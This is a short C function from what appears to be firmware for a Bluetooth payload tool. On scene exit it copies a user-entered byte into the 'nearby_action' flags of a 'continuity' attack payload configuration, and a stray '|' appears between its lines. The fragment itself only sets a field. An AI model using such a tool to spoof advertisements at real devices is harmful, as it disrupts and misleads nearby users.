void scene_continuity_na_flags_on_exit(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
ContinuityCfg* cfg = &payload->cfg.continuity;
|
|
cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00);
|
|
}
|